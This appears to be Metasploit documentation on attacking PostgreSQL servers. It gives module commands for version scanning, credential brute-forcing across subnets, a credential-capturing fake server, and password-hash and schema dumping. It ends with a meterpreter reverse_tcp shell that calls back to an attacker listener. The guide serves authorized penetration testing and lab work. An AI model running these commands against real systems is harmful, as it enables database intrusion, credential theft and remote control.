## PostgreSQL Workflows PostgreSQL, sometimes aliased as Postgres, is frequently found on port 5432/TCP. It is an open-source relational database management system. Metasploit has support for multiple PostgreSQL modules, including: - Version enumeration - Verifying/bruteforcing credentials - Dumping database information - Capture server - Executing arbitrary SQL queries against the database - Gaining reverse shells There are more modules than listed here, for the full list of modules run the `search` command within msfconsole: ```msf msf6 > search postgres ``` Or to search for modules that work with a specific session type: ```msf msf6 > search session_type:postgres ``` ### Lab Environment When testing in a lab environment PostgreSQL can either be installed on the host machine or within Docker: ``` docker run -it --rm --publish 127.0.0.1:5432:5432 -e POSTGRES_PASSWORD=password postgres:13.1-alpine ``` ### PostgreSQL Enumeration Enumerate version: ``` use auxiliary/scanner/postgres/postgres_version run postgres://192.168.123.13 run postgres://postgres:password@192.168.123.13 ``` ### PostgreSQL Login / Bruteforce If you have PostgreSQL credentials to validate: ``` use auxiliary/scanner/postgres/postgres_login run 'postgres://root: a b c p4$$w0rd@127.0.0.1' ``` Reusing PostgreSQL credentials in a subnet: ``` use auxiliary/scanner/postgres/postgres_login run cidr:/24:myspostgresl://user:pass@192.168.222.0 threads=50 ``` Using an alternative port: ``` use auxiliary/scanner/postgres/postgres_login run postgres://user:pass@192.168.123.6:2222 ``` Brute-force host with known user and password list: ``` use auxiliary/scanner/postgres/postgres_login run postgres://known_user@192.168.222.1 threads=50 pass_file=./wordlist.txt ``` Brute-force credentials: ``` use auxiliary/scanner/postgres/postgres_login run postgres://192.168.222.1 threads=50 user_file=./users.txt pass_file=./wordlist.txt ``` Brute-force credentials in a subnet: ``` use auxiliary/scanner/postgres/postgres_login run cidr:/24:postgres://user:pass@192.168.222.0 threads=50 run cidr:/24:postgres://user@192.168.222.0 threads=50 pass_file=./wordlist.txt ``` ### Obtaining an Interactive Session The CreateSession option for `auxiliary/scanner/postgres/postgres_login` allows you to obtain an interactive session for the Postgres client you're connecting to. The run command with CreateSession set to true should give you an interactive session. For example: ```msf msf6 auxiliary(scanner/postgres/postgres_login) > run rhost=127.0.0.1 rport=5432 username=postgres password=password database=template1 createsession=true ``` Should yield: ```msf [+] 127.0.0.1:5432 - Login Successful: postgres:password@template1 [*] PostgreSQL session 1 opened (127.0.0.1:61324 -> 127.0.0.1:5432) at 2024-03-15 14:00:12 -0500 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` You can interact with your session using `sessions -i -1` or `sessions `. Use the help command for more info. ```msf msf6 auxiliary(scanner/postgres/postgres_login) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 postgresql PostgreSQL postgres @ 127.0.0.1:5432 127.0.0.1:61324 -> 127.0.0.1:5432 (127.0.0.1) msf6 auxiliary(scanner/postgres/postgres_login) > sessions -i 1 [*] Starting interaction with 1... ``` When interacting with a session, the help command can be useful: ```msf postgresql @ 127.0.0.1:5432 (template1) > help Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bg Alias for background exit Terminate the PostgreSQL session help Help menu irb Open an interactive Ruby shell on the current session pry Open the Pry debugger on the current session sessions Quickly switch to another session PostgreSQL Client Commands ========================== Command Description ------- ----------- query Run a single SQL query query_interactive Enter an interactive prompt for running multiple SQL queries Local File System Commands ========================== Command Description ------- ----------- getlwd Print local working directory (alias for lpwd) lcat Read the contents of a local file to the screen lcd Change local working directory ldir List local files (alias for lls) lls List local files lmkdir Create new directory on local machine lpwd Print local working directory This session also works with the following modules: auxiliary/admin/postgres/postgres_readfile auxiliary/admin/postgres/postgres_sql auxiliary/scanner/postgres/postgres_hashdump auxiliary/scanner/postgres/postgres_schemadump auxiliary/scanner/postgres/postgres_version exploit/linux/postgres/postgres_payload exploit/multi/postgres/postgres_copy_from_program_cmd_exec exploit/multi/postgres/postgres_createlang exploit/windows/postgres/postgres_payload ``` Once you've done that, you can run any Postgres query against the target using the `query` command: ```msf postgresql @ 127.0.0.1:5432 (template1) > query -h Usage: query Run a single SQL query on the target. OPTIONS: -h, --help Help menu. -i, --interact Enter an interactive prompt for running multiple SQL queries Examples: query SELECT user; query SELECT version(); query SELECT * FROM pg_catalog.pg_tables; postgresql @ 127.0.0.1:5432 (template1) > query 'SELECT version();' [*] SELECT 1 Response ======== # version - ------- 0 PostgreSQL 14.1 on aarch64-apple-darwin20.6.0, compiled by Apple clang version 12.0.5 (clang-1205.0.22.9), 64-bit ``` Alternatively you can enter a SQL prompt via the `query_interactive` command which supports multiline commands: ```msf postgresql @ 127.0.0.1:5432 (template1) > query_interactive -h Usage: query_interactive Go into an interactive SQL shell where SQL queries can be executed. To exit, type 'exit', 'quit', 'end' or 'stop'. postgresql @ 127.0.0.1:5432 (template1) > query_interactive [*] Starting interactive SQL shell for postgresql @ 127.0.0.1:5432 (template1) [*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit. SQL >> SELECT table_name SQL *> FROM information_schema.tables SQL *> LIMIT 2; [*] Executing query: SELECT table_name FROM information_schema.tables LIMIT 2; [*] SELECT 2 Response ======== # table_name - ---------- 0 pg_statistic 1 pg_type SQL >> ``` ### PostgreSQL Capture Server Captures and log PostgreSQL credentials: ``` use auxiliary/server/capture/postgresql run ``` For example, if a client connects with: ``` psql postgres://postgres:mysecretpassword@localhost:5432 ``` Metasploit's output will be: ```msf msf6 auxiliary(server/capture/postgresql) > [*] Started service listener on 0.0.0.0:5432 [*] Server started. [+] PostgreSQL LOGIN 127.0.0.1:60406 postgres / mysecretpassword / postgres ``` ### PostgreSQL Dumping User and hash dump: ``` use auxiliary/scanner/postgres/postgres_hashdump run postgres://postgres:password@192.168.123.13 run postgres://postgres:password@192.168.123.13/database_name ``` Schema dump: ``` use auxiliary/scanner/postgres/postgres_schemadump run postgres://postgres:password@192.168.123.13 run postgres://postgres:password@192.168.123.13 ignored_databases=template1,template0,postgres ``` ### PostgreSQL Querying ``` use auxiliary/admin/postgres/postgres_sql run 'postgres://user:this is my password@192.168.1.123/database_name' sql='select version()' ``` ### PostgreSQL Reverse Shell ``` use exploit/linux/postgres/postgres_payload run postgres://postgres:password@192.168.123.6 lhost=192.168.123.1 lport=5000 payload=linux/x64/meterpreter/reverse_tcp target='Linux\ x86_64' ```